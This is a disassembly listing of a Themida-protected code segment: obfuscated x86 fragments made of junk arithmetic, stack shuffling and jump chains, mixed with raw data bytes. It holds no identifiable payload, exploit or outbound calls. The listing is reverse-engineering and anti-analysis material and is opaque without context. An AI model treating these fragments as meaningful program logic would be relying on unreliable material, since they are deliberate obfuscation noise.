		add	ebx, 495C0441h
		add	ebx, ebp
		jmp	loc_562ECC
; ---------------------------------------------------------------------------


loc_5634BD:				; CODE XREF: Themida_:00559936j
		mov	ecx, 68267502h
		shr	ecx, 6
		push	5942h
		mov	[esp], ecx
		inc	dword ptr [esp]
		jmp	loc_56005C
; ---------------------------------------------------------------------------


loc_5634D5:				; CODE XREF: Themida_:005613ACj
		pop	esp
		push	46B6h
		mov	[esp], edi
		push	5321h
		mov	[esp], ecx
		push	esp
		jmp	loc_555EF7
; ---------------------------------------------------------------------------


loc_5634EC:				; CODE XREF: Themida_:0055FDFAj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	eax
		jmp	loc_564814
; ---------------------------------------------------------------------------


loc_5634F9:				; CODE XREF: Themida_:0055E4DCj
		pop	esi
		shl	eax, cl
		push	ecx
		mov	ecx, esp
		jmp	loc_556295
; ---------------------------------------------------------------------------


loc_563504:				; CODE XREF: Themida_:005598CFj
		push	eax
		jmp	loc_555721
; ---------------------------------------------------------------------------
		dw 1489h
		dd 1132E924h
		db 2 dup(0)
word_563512	dw 8B66h		; DATA XREF: Themida_:0054FCECo
		dd 7E9240Ch, 1FFFED6h, 140668C3h, 0C890000h, 6388E924h
		dd 0F180FFFFh, 59CB00F0h, 28FEEB80h, 0B30DE9C3h, 8151FFFFh
		dd 4ECh, 243C8900h, 0E51E08BFh,	5FF98949h, 0FF6D78E9h
		dd 33F581FFh, 8B3F8002h, 0C481240Ch, 4,	0B951h,	0E9290000h
		dd 9FE9CD87h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56356F:				; CODE XREF: Themida_:00556D2Bj
		pop	eax
		add	esp, 4
		push	edx
		pop	eax
		push	dword ptr [esp]
		pop	edx
		push	edi
		push	4D33h
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_558D4C
; ---------------------------------------------------------------------------


loc_563597:				; CODE XREF: Themida_:0056192Dj
		jz	loc_551B4D
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	edx
		push	ecx
		mov	ecx, 0BC77EACh
		mov	edx, 0F4388158h
		add	edx, 4F94010Eh
		add	edx, ecx
		sub	edx, 4F94010Eh
		pop	ecx
		add	esi, edx
		pop	edx
		push	ebp
		jmp	loc_55A283
; ---------------------------------------------------------------------------
a0Htb		db '0Ãhtb',0
		align 2
		dw 1C89h
		dd 5CE95124h, 81FFFF13h, 4ECh, 242C8900h, 3A7B38BDh, 21C38150h
		dd 0E9636025h, 0FFFF9AB3h
; ---------------------------------------------------------------------------


loc_5635FC:				; CODE XREF: Themida_:0055E535j
		sub	edx, esi
		pop	esi
		and	ecx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		shr	ecx, 0Bh
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_560972
; ---------------------------------------------------------------------------
		db 51h,	55h, 0BDh
		dd 2DCF6E75h, 0CF6E79B9h, 5DE9292Dh, 8759CE29h,	895C2434h
		dd 74FF242Ch, 2C8B0424h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_56280D
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 90h
		dd 8175D076h, 22A906C3h, 0BAC8E98Ah, 8B66FFFFh,	0C4832414h
		dd 5BF93002h, 5158B652h, 0EE0049B5h, 0FFDC51E9h, 5EF589FFh
		dd 5DE9534Dh, 89FFFF2Dh, 4929E9E6h, 2C89FFFFh, 0A1BB5324h
		dd 89799F0Bh, 7088E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563692:				; CODE XREF: Themida_:0055171Aj
		pop	edi
		xchg	ebp, [esp]
		jmp	loc_562685
; ---------------------------------------------------------------------------
		db 31h
		dd 2C33242Ch, 24248B24h, 9C2424D2h, 0FEC86AE9h,	81E689FFh
		dd 4C6h, 4EE8100h, 87000000h, 0E95C2434h, 0FFFF621Ch
; ---------------------------------------------------------------------------


loc_5636C4:				; CODE XREF: Themida_:0055199Fj
		pop	esp
		jmp	loc_55C417
; ---------------------------------------------------------------------------
		dw 0E8C1h
		dd 44343507h, 0BA523E19h, 30147DA5h, 0ECE9DAF7h
		db 30h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5636DF:				; CODE XREF: Themida_:0055CF2Aj
		push	ebx
		push	78DD5E74h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_558A46
; ---------------------------------------------------------------------------
		db 5Fh
		dd 4D5EF529h, 7B46ED81h, 0EE011493h, 0E92434FFh, 0FFFF3FFCh
dword_563708	dd 0E92434FFh, 0FFFFF446h, 24E95Dh, 248BFFFFh, 240C8924h
					; DATA XREF: Themida_:0054FEB0o
		dd 0AF7098B9h, 96E9816Ah, 816AAF70h, 0B74F9BEFh, 81CF0162h
		dd 0B74F9BC7h, 240C8B62h, 3304C483h, 3C31243Ch,	243C3324h
		dd 6624248Bh, 9C2424D3h, 0FEC7C6E9h, 0CB951FFh,	89448D7Ah
		dd 240C8BCFh, 0E904C483h, 0FFFECB67h, 5AD33159h, 4117BF57h
		dd 814F6919h, 0EEFB11EFh, 0FFFB01B1h, 815F2434h, 4C4h
		dd 0E9DD0100h, 0FFFF8E63h, 8158C729h, 939CDEFh,	4EC815Ah
		dd 89000000h, 0D8BE2434h, 4E4E6115h, 0C681D6F7h, 7A081825h
		dd 30E95157h, 5CFFFF2Fh, 31240C33h, 0C33240Ch, 57D0E924h
		dd 874BFFFFh, 81DEF7DEh, 6C58F5EEh, 63EE817Fh, 4E178D38h
		dd 79D4E681h, 0EE81693Dh, 203531D0h, 575EF289h,	48266EBFh
		dd 5FF9010Ch, 44F8C181h, 0D101442Dh, 44F8E981h,	0E981442Dh
		dd 0C48266Eh, 5A2434FFh, 0ABBE950h, 48B0000h, 4C48124h
		dd 68000000h, 774Bh, 0FF525EE9h, 5E089FFh, 4, 0E904C083h
		dd 0FFFF5B72h
; ---------------------------------------------------------------------------


loc_563828:				; CODE XREF: Themida_:005630E9j
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_5643EC
; ---------------------------------------------------------------------------


loc_563833:				; CODE XREF: Themida_:0055D182j
		push	edi
		jmp	loc_55966B
; ---------------------------------------------------------------------------
		db 29h,	0FDh, 5Fh
		dd 0EC83C501h, 7B2CE904h, 0F701FFFFh, 4C7835Eh,	8B243C87h
		dd 98E92424h, 52FFFF2Fh, 0DD226ABAh, 399D2D53h,	0D0296446h
		dd 0FEE1BDE9h, 2434FFFFh, 0E3895358h, 0FF9640E9h, 51D8F6FFh
		dd 0C980D0B1h, 72C7E9D7h, 0C681FFFFh, 4, 4EE81h, 0DBE90000h
		dd 8FFFFEDBh, 248B2404h, 240CD224h, 0C675E99Ch,	3C8BFFFEh
		dd 4C48324h, 5506E9C1h,	5C6642BDh, 8BE92905h, 5456242Ch
		dd 1E23E95Eh, 91B8FFFFh, 351C0C37h, 2C19032Dh, 0E904E8C1h
		dd 0FFFF4D38h, 8158C689h, 4ECh,	243C8900h, 455D8BBFh, 0E1E98152h
		dd 16B5A59h, 0E1C181F9h, 0E96B5A59h, 0FFFF0F7Bh
; ---------------------------------------------------------------------------


loc_5638F4:				; CODE XREF: Themida_:0054FFC8j
		push	eax
		mov	eax, 20412492h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 60116ADEh
		jmp	loc_55CEE2
; ---------------------------------------------------------------------------


loc_56390D:				; CODE XREF: Themida_:005572B0j
		and	ebx, 277167A2h
		xor	ebx, 22604282h
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	esi, [esp]
		jmp	loc_562DE8
; ---------------------------------------------------------------------------


loc_563929:				; CODE XREF: Themida_:00560AA5j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_554961
; ---------------------------------------------------------------------------
dword_563934	dd 24048B66h, 5B0C68h, 240C8900h, 8904EC83h, 4812424h
					; DATA XREF: Themida_:0054FDE0o
		dd 424h, 2434FF00h, 0FEF7DCE9h,	241C89FFh, 241C8B54h, 0FF8B7CE9h
		dd 5AD389FFh, 3D776851h, 2C890000h, 0E7E95224h,	81FFFF4Ah
		dd 0EB920CC1h, 0E9CB213Bh, 0FFFF4741h, 7B37C281h, 40E9423Bh
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56398B:				; CODE XREF: Themida_:0055B94Fj
		push	ebp
		mov	ebp, 0
		sub	ebp, edi
		jmp	loc_551E3D
; ---------------------------------------------------------------------------


loc_563998:				; CODE XREF: Themida_:005575A3j
		or	edi, 16510B83h
		and	edi, 3ECC77EFh
		shl	edi, 4
		sub	edi, 0C6F32EFh
		sub	edi, 0F3B6CEC6h
		add	ecx, edi
		pop	edi
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_564052
; ---------------------------------------------------------------------------
		db 31h,	0EAh, 31h
		dd 242C31D5h, 31242C33h, 34FF242Ch, 0CFE95824h,	89FFFF7Ch
		dd 4C381E3h, 0E9000000h, 0FFFF6203h, 4C681h, 0EC810000h
		dd 4, 0E9241489h, 0FFFF3D85h
; ---------------------------------------------------------------------------


loc_5639FC:				; CODE XREF: Themida_:0055A974j
		mov	[esp], eax
		xchg	edi, [esp]
		not	edi
		xchg	edi, [esp]
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		jmp	loc_55C765
; ---------------------------------------------------------------------------
		dw 1489h
		dd 68E28924h, 7010h, 0B9240C89h, 4, 0E959CA01h,	0FFFFAC1Fh
		dd 46C5F281h, 0D7896C03h, 31F7815Ah, 0F74B2E4Dh, 0CC5DE9D7h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_563A4A:				; CODE XREF: Themida_:0055A305j
		pop	esp
		sub	ebx, 626E1FBCh
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_560CA1
; ---------------------------------------------------------------------------
		dw 0FF50h
		dd 58042474h, 5C24048Fh, 0B8240489h, 4,	4C93B850h, 0BD557213h
		dd 5E321AF0h, 0C5ED8145h, 9EDA30Bh, 685DE8h, 29000000h
		dd 50582404h, 582414F7h, 2414F750h, 7E242D58h, 3AE92365h
		db 57h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563AA7:				; CODE XREF: Themida_:005595CAj
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4D334BD8h
		or	eax, 2D604FE7h
		jmp	loc_55E21A
; ---------------------------------------------------------------------------
		dw 8B5Bh
		dd 0C4812404h, 4, 535BB252h, 0DA0873B3h, 2EAC05Bh, 0B450D2F6h
		dd 0DEC480A0h, 8858E228h, 24148BD3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	bl, 7Ch
		jmp	loc_561B68
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FF042474h, 8AE92434h, 87FFFFD9h, 0E95C240Ch, 0FFFFCD55h
; ---------------------------------------------------------------------------


loc_563B18:				; CODE XREF: Themida_:00563F2Fj
		add	ebp, 4
		push	edi
		jmp	loc_551713
; ---------------------------------------------------------------------------
		dd 2474FF56h, 0E4B1E904h, 0D931FFFFh, 0FFD930E9h, 242C8BFFh
		dd 0C104C483h, 575508E6h, 529F96BFh, 0EB38E987h
		db 0FEh, 0FFh
word_563B4A	dw 50ADh		; DATA XREF: Themida_:0054FC54o
		dd 6135DCB8h, 7E8C11Dh,	8105D0F7h, 56154057h, 0D43B79BEh
		dd 1AE6816Dh, 0E9790369h, 0FFFF5C38h, 603BF8BDh, 0FF5E951h
		dd 315CFFFFh, 0E1E92404h, 29FFFF65h, 24148BD3h,	5304C483h
		dd 42474FFh, 24048F5Bh,	0FFC605E9h, 3CF0BFFFh, 0AAE92A7Ah
		db 0A8h, 2 dup(0FFh)
byte_563B9F	db 66h			; DATA XREF: Themida_:0054FE74o
		dd 665366ADh, 66389EBBh, 81E9D801h, 89FFFEDDh, 0C3015EF0h
		dd 0FFC7BDE9h, 0C7C581FFh, 5E429309h, 8B242C87h, 1662424h
		dd 0E99C2404h, 0FFFF2092h, 8516D5BBh, 7EBC131h,	0A675EB81h
		dd 0D889892Eh, 58C7895Bh, 39A6BD55h, 0EBE957ECh, 89FFFECAh
		dd 0FABE56E3h, 8151154Dh, 0D51CCAE6h, 2DE68152h, 811F917Eh
		dd 110C0CF6h, 8BF30110h, 0C4812434h, 4,	0FF040FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563C19:				; CODE XREF: Themida_:00558C0Fj
		pop	esp
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_562E34
; ---------------------------------------------------------------------------
		dw 3431h
		dd 24343324h, 0E089505Ch, 10CFE9h
		db 0
; ---------------------------------------------------------------------------


loc_563C41:				; CODE XREF: Themida_:0055FECDj
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5622F9
; ---------------------------------------------------------------------------
		db 4Fh,	81h, 0F7h
		dd 0B2DCD151h, 0C15FFE31h, 0E95104E6h, 0FFFEC750h, 240C8B59h
		dd 0FFF0D4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563C71:				; CODE XREF: Themida_:00564418j
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		add	edx, 4
		push	edx
		jmp	loc_55342E
; ---------------------------------------------------------------------------
		dd 5A2434FFh, 4C481h, 0F3010000h, 4EC835Eh, 0BD242C89h
		dd 2, 5BF0EB81h, 0EB017C90h, 0FED5CAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563CB1:				; CODE XREF: Themida_:005542B0j
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55A210
; ---------------------------------------------------------------------------


loc_563CBB:				; CODE XREF: Themida_:00557D21j
		mov	edi, [esp]
		jmp	loc_5625A8
; ---------------------------------------------------------------------------
		db 50h
		dd 0FF0B63E9h, 0C6815EFFh, 4, 4B951h, 0CE010000h, 0FF30E2E9h
		dd 5BDD20FFh, 8018F580h, 0EB28C4EBh, 59C4C380h,	0FEFBEBE9h
		dd 4BDFFh, 0EB010000h, 241C875Dh, 7186E95Ch, 0C629FFFFh
		dd 582434FFh, 0FF3B28E9h, 81C101FFh, 7E5C4CE9h,	53B5E909h
		dd 2C5BFFFFh, 0E9D00091h, 0FFFEC912h, 0F65AD520h, 0F478E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563D2E:				; CODE XREF: Themida_:0055DA43j
		add	ebx, 4
		jmp	loc_55A711
; ---------------------------------------------------------------------------


loc_563D39:				; CODE XREF: Themida_:00558F3Bj
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 0FFFFFFFFh
		add	edi, ebp
		pop	ebp
		push	edi
		push	ecx
		jmp	loc_562D0A
; ---------------------------------------------------------------------------
		db 58h
		dd 0E7D1D7F7h, 0FED306E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563D59:				; CODE XREF: Themida_:0055A715j
		add	bl, 0C2h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_552EF2
; ---------------------------------------------------------------------------


loc_563D67:				; CODE XREF: Themida_:00556ACFj
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		jmp	loc_561C5C
; ---------------------------------------------------------------------------
word_563D72	dw 34FFh		; DATA XREF: Themida_:0054FCD0o
aYwichaj	db '$YW‰çhAj',0
		align 2
		dw 489h
		dd 0BF575624h, 7EEE3C02h, 0E9D7F74Fh, 1236h, 0C2E9D828h
		dd 0BBFFFF1Fh, 5A641AEEh, 58CEE381h, 0EBD15067h, 2155C381h
		dd 0D3F70601h, 0FF328FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563DB1:				; CODE XREF: Themida_:0055CFABj
		add	esi, 3ECE349Ah
		add	esi, eax
		sub	esi, 3ECE349Ah
		push	dword ptr [esp]
		jmp	loc_55A350
; ---------------------------------------------------------------------------
		db 5Ah
		dd 32A0C381h, 0F30173B7h, 0FF662EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563DD5:				; CODE XREF: Themida_:00552320j
		xor	ebx, 0BF88D55Ch
		sub	esi, ebx
		jmp	loc_5545A4
; ---------------------------------------------------------------------------
		dw 0C629h
		dd 0E33E958h, 0E0C1FFFFh, 6C752D02h, 0C529E55Fh, 2FE95B58h
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563DFB:				; CODE XREF: Themida_:0055DF67j
		mov	[esp], ebx
		sub	esp, 4
		push	25A2h
		mov	[esp], esp
		jmp	loc_562C65
; ---------------------------------------------------------------------------


loc_563E0E:				; CODE XREF: Themida_:0055C15Bj
		sub	edi, 49BD7C64h
		push	ecx
		mov	ecx, 661F4A1Dh
		push	edx
		jmp	loc_552E21
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFEE05Ch, 1C6F095Eh, 0FFCC37E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563E31:				; CODE XREF: Themida_:00565284j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 5AF039E3h
		and	ebx, 13C678BEh
		sub	ebx, 0EAC72E72h
		jmp	loc_55A5E3
; ---------------------------------------------------------------------------
		dd 0E9A7C580h, 0FFFEF829h, 8018C280h, 0A6E913C4h, 80FFFFF5h
		dd 0C380AFC3h, 3C22E971h, 0E95FFFFFh, 5F4h
; ---------------------------------------------------------------------------


loc_563E78:				; CODE XREF: Themida_:00554C4Cj
		pop	edi
		add	edi, 4
		jmp	loc_557ACA
; ---------------------------------------------------------------------------


loc_563E84:				; CODE XREF: Themida_:0055BE4Bj
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	ecx, [esp]
		push	3381h
		mov	[esp], edx
		push	esp
		jmp	loc_556580
; ---------------------------------------------------------------------------


loc_563E9B:				; CODE XREF: Themida_:005527F2j
		push	dword ptr [esp]
		jmp	loc_56178C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4302424h, 68E99C24h,	89FFFEC0h, 0EA68240Ch, 8B472564h
		dd 0C483240Ch, 0E9D9F704h, 0FFFF3B12h, 15DEB29h, 115BE9FBh
		dd 0ED810000h, 21799112h, 15DEB01h, 0F09CE9C3h,	0E952FFFFh
		dd 0FFFF21B7h, 8704EF83h, 248B243Ch, 48F5424h, 3861E924h
		dd 74FFFFFFh, 8F5E0424h, 895C2404h, 0EC83242Ch,	814E904h
		dd 0F5810000h, 2F4C5A19h, 555DEE21h, 581BB5BDh,	0F1ED8104h
		dd 2948B787h, 4055DEEh,	0E911B269h, 0FFFEF9FBh
; ---------------------------------------------------------------------------


loc_563F2C:				; CODE XREF: Themida_:0055D9D7j
		push	ebp
		mov	ebp, esp
		jmp	loc_563B18
; ---------------------------------------------------------------------------
		dd 4F0EF181h, 0E1812515h, 2FE83CB5h, 7FC98141h,	412A9F14h
		dd 1484F181h, 0CF012B9Fh, 4C78359h, 0FEF526E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563F59:				; CODE XREF: Themida_:0055DF78j
		xchg	ebp, [esp]
		pop	esp
		push	1FA3h
		mov	[esp], ebp
		mov	ebp, 12BE27DAh
		jmp	loc_55EA4D
; ---------------------------------------------------------------------------
		db 21h
		dd 0D31DE9E9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563F76:				; CODE XREF: Themida_:0055C67Fj
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], ecx
		push	edi
		jmp	loc_56229A
; ---------------------------------------------------------------------------
		dd 19F8BF57h, 0CF815EC2h, 0BEC216Bh, 0C1E7D147h, 0C78106E7h
		dd 2F3331FBh, 5760EF81h, 90E94F0Fh, 1FFFFC1h, 42D5DE8h
		dd 87000000h, 895C2404h, 2682414h, 0E9000000h, 0FFFF747Fh
		dd 0E9243C8Bh, 0FFFF5E5Eh, 81E78957h, 4C7h, 4C78100h, 87000000h
		dd 815C243Ch, 0C42AEBC9h, 0D336E92Bh, 0E05FFFEh, 15A2667h
		dd 670E2DF8h, 875F5A26h, 815C2404h, 4C7h, 243C8700h, 0C8AF0F5Ch
		dd 0E0E99C51h
		db 0BEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_564037:				; CODE XREF: Themida_:00560EE9j
		push	ecx
		push	226F45F5h
		pop	ecx
		push	esi
		mov	esi, 3E802ECh
		and	ecx, esi
		pop	esi
		push	eax
		mov	eax, 3E57694Fh
		jmp	loc_559DEF
; ---------------------------------------------------------------------------


loc_564052:				; CODE XREF: Themida_:005639C0j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_564119
; ---------------------------------------------------------------------------
		dd 0E9241489h, 0FFFFD4FFh
; ---------------------------------------------------------------------------


loc_564068:				; CODE XREF: Themida_:005510BCj
		pop	esi
		jmp	loc_56156E
; ---------------------------------------------------------------------------


loc_56406E:				; CODE XREF: Themida_:00562D79j
		sub	dword ptr [esp], 12C11F22h
		pop	edx
		push	edi
		mov	edi, 0D415EA3h
		add	edi, 2D4F0B91h
		dec	edi
		push	ecx
		mov	ecx, 41370414h
		or	edi, ecx
		pop	ecx
		shl	edi, 4
		sub	edi, 6A04A962h
		jmp	loc_550FC5
; ---------------------------------------------------------------------------


loc_56409A:				; CODE XREF: Themida_:0055A396j
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_55B460
; ---------------------------------------------------------------------------


loc_5640A5:				; CODE XREF: Themida_:0055624Fj
		push	edx
		mov	edx, 141A1B62h
		and	edx, 4E753F9Bh
		sub	edx, 360A6CD7h
		xor	edx, 2718177Bh
		xor	edx, 14274CF0h
		not	edx
		sub	edx, 2C50A5Bh
		add	ebp, edx
		pop	edx
		jmp	loc_56112D
; ---------------------------------------------------------------------------


loc_5640D3:				; CODE XREF: Themida_:005608D9j
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_564CD8
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 3065FB6h, 9581E942h,	0A4B8FFFFh, 310109EBh, 0DA0158C3h
		dd 0FEC5CFE9h, 6B61BEFFh, 0FCE93485h
		db 29h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564107:				; CODE XREF: Themida_:005569DEj
		xor	edx, 3AB726D2h
		add	esi, edx
		pop	edx
		xchg	esi, [esp]
		pop	esp
		jmp	loc_554E0C
; ---------------------------------------------------------------------------


loc_564119:				; CODE XREF: Themida_:0056405Bj
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_550787
; ---------------------------------------------------------------------------


loc_564124:				; CODE XREF: Themida_:00553168j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55242E
; ---------------------------------------------------------------------------
		db 0BEh
		dd 3A45345Ch, 0FFF031E9h, 5AD731FFh, 160CEF81h,	0F829D57Bh
		dd 0B850565Fh, 7E66489h, 2958C689h, 132D5EF0h, 0E9207B6Bh
		dd 0FFFFA7EBh, 1C3BD55h, 0E98900DEh, 58C1315Dh,	56E9CE89h
		dd 2DFFFFA0h, 4BFC9E3Dh, 2958C601h, 707E9D6h, 0C481FFFFh
		dd 4, 5A80CD81h, 8145667Ah, 484E9AE5h, 32F3E96Bh, 3C89FFFFh
		dd 6D696824h, 3C8B4896h, 4C48324h, 0A5E9DFF7h, 89FFFF02h
		dd 5B54241Ch, 4C381h, 0EC830000h, 0E527E904h, 0CD89FFFEh
		dd 0FF3D1BE9h
		db 0FFh
byte_5641C5	db 0FFh, 77h, 3Ch	; DATA XREF: Themida_:0054FD3Co
		dd 0FFB577E9h, 4C481FFh, 50000000h, 2B8h, 8BEE8100h, 106185Eh
		dd 8BC681C6h, 8B06185Eh, 0AE92404h, 81FFFF8Eh, 192D65E9h
		dd 58E95372h, 83FFFFB5h, 0BB5304C4h, 269D448Eh,	15BD801h
		dd 0A1E952C8h, 0D0FFFF72h, 96CA80E2h, 0F280CAFEh, 0D509E9DCh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56421E:				; CODE XREF: Themida_:0055E558j
		pop	eax
		jmp	loc_55FBF6
; ---------------------------------------------------------------------------
		dd 5366C8FEh, 61E9FAB3h, 56FFFFFBh, 0FFF478E9h,	0EC8152FFh
		dd 4, 0B8240489h, 751955D3h, 6BDB68h, 0CF46E900h, 515AFFFFh
		dd 0C181E189h, 4, 5104C183h, 42474FFh, 24048F59h, 241C875Ch
		dd 0FFCBA1E9h, 43E95DFFh
		db 90h,	2 dup(0FFh)
byte_564273	db 68h			; DATA XREF: Themida_:0054FD68o
		dd 3013h, 0FFEDD4E9h, 45C1BAFFh, 0E2C16249h, 84F28107h
		dd 0E924A2E0h, 0FFFF4BE5h, 26D1BF57h, 834F0C22h, 3C8904ECh
		dd 2404FF24h, 0FF1ED5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5642A5:				; CODE XREF: Themida_:005628EAj
		push	esi
		jmp	loc_55D5B1
; ---------------------------------------------------------------------------
		db 0F7h
		dd 6A02E9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5642B2:				; CODE XREF: Themida_:0055A288j
		sub	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_55ADE3
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 405h, 24048700h, 0E924248Bh, 0FFFFEDAAh
; ---------------------------------------------------------------------------


loc_5642D8:				; CODE XREF: Themida_:00562B8Dj
		mov	esp, [esp]
		jmp	loc_556686
; ---------------------------------------------------------------------------


loc_5642E0:				; CODE XREF: Themida_:0055CC72j
		add	edx, esi
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_55C014
; ---------------------------------------------------------------------------
		dd 0F8E9FE01h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5642FB:				; CODE XREF: Themida_:00556E21j
		not	esi
		xchg	esi, [esp]


loc_564300:				; DATA XREF: Themida_:0053E5E4o
		pop	edi
		sub	edi, 25EADE7Fh
		mov	esi, edi
		mov	edi, [esp]
		push	edi
		jmp	loc_55D082
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 0E6895624h, 4C681h, 0C6810000h, 4, 0FED983E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564329:				; CODE XREF: Themida_:00557114j
		xor	eax, [esp]
		mov	esp, [esp]
		shr	edx, 8
		jmp	loc_564A8A
; ---------------------------------------------------------------------------
		db 81h
		dd 0D004246Ch, 5D07EE03h, 8B2434FFh, 0C4832404h, 4C48304h
		dd 405h, 9EBF5700h, 0E95F722Fh,	0FFFEC60Ch, 8124248Bh
		dd 4C4h, 0C496E900h, 3C89FFFEh,	23FBF24h, 4F2D5CCDh, 0E97EAA22h
		dd 0FFFFB368h, 2EDC145h, 0FF7F14E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564385:				; CODE XREF: Themida_:0055711Ej
		pop	ecx
		sub	[esp+8], edi
		pop	edi
		jmp	loc_554C37
; ---------------------------------------------------------------------------
		dd 5F17EB81h, 0C3813B5Ah, 68764C6Eh, 2EA2ED81h,	0DD012E26h
		dd 52C1BA52h, 4A4A61D7h, 0C0FF281h, 0F2813752h,	78A37012h
		dd 79E9D501h, 0BAFFFF90h, 784A344Dh, 7571F281h,	0E2C12E45h
		dd 76C28103h, 0F7298F54h, 2BF281DAh, 8913DAFBh,	7EE95AD1h
		dd 66FFFF56h, 0E9240489h, 0FFFF87BFh
; ---------------------------------------------------------------------------


loc_5643EC:				; CODE XREF: Themida_:0056382Ej
		add	esp, 4
		push	18BEh
		mov	[esp], edx
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_563C71
; ---------------------------------------------------------------------------


loc_56441D:				; CODE XREF: Themida_:0055D17Aj
		add	ebx, edi
		jmp	loc_564ED8
; ---------------------------------------------------------------------------
		dd 1E3BA52h, 1CE9375Ah,	54FFFF91h, 0D037E95Ah, 0E95AFFFFh
		dd 0FFFF2E9Dh
; ---------------------------------------------------------------------------


loc_56443C:				; CODE XREF: Themida_:005506E7j
		mov	ebx, 9233B9B2h
		sub	edi, ebx
		pop	ebx
		jmp	loc_55C9C4
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 14h
		dd 43B45024h, 0FF517AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564455:				; CODE XREF: Themida_:00558ADCj
		pop	esp
		add	ecx, edx
		pop	edx
		jmp	loc_551B35
; ---------------------------------------------------------------------------
		dw 0F800h
		dd 83241C8Bh, 0E95304C4h, 0FFFFB9AFh, 41B7B850h, 0D8F7199Fh
		dd 0FFE0EAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564479:				; CODE XREF: Themida_:0055659Ej
		push	esi
		jmp	loc_555B42
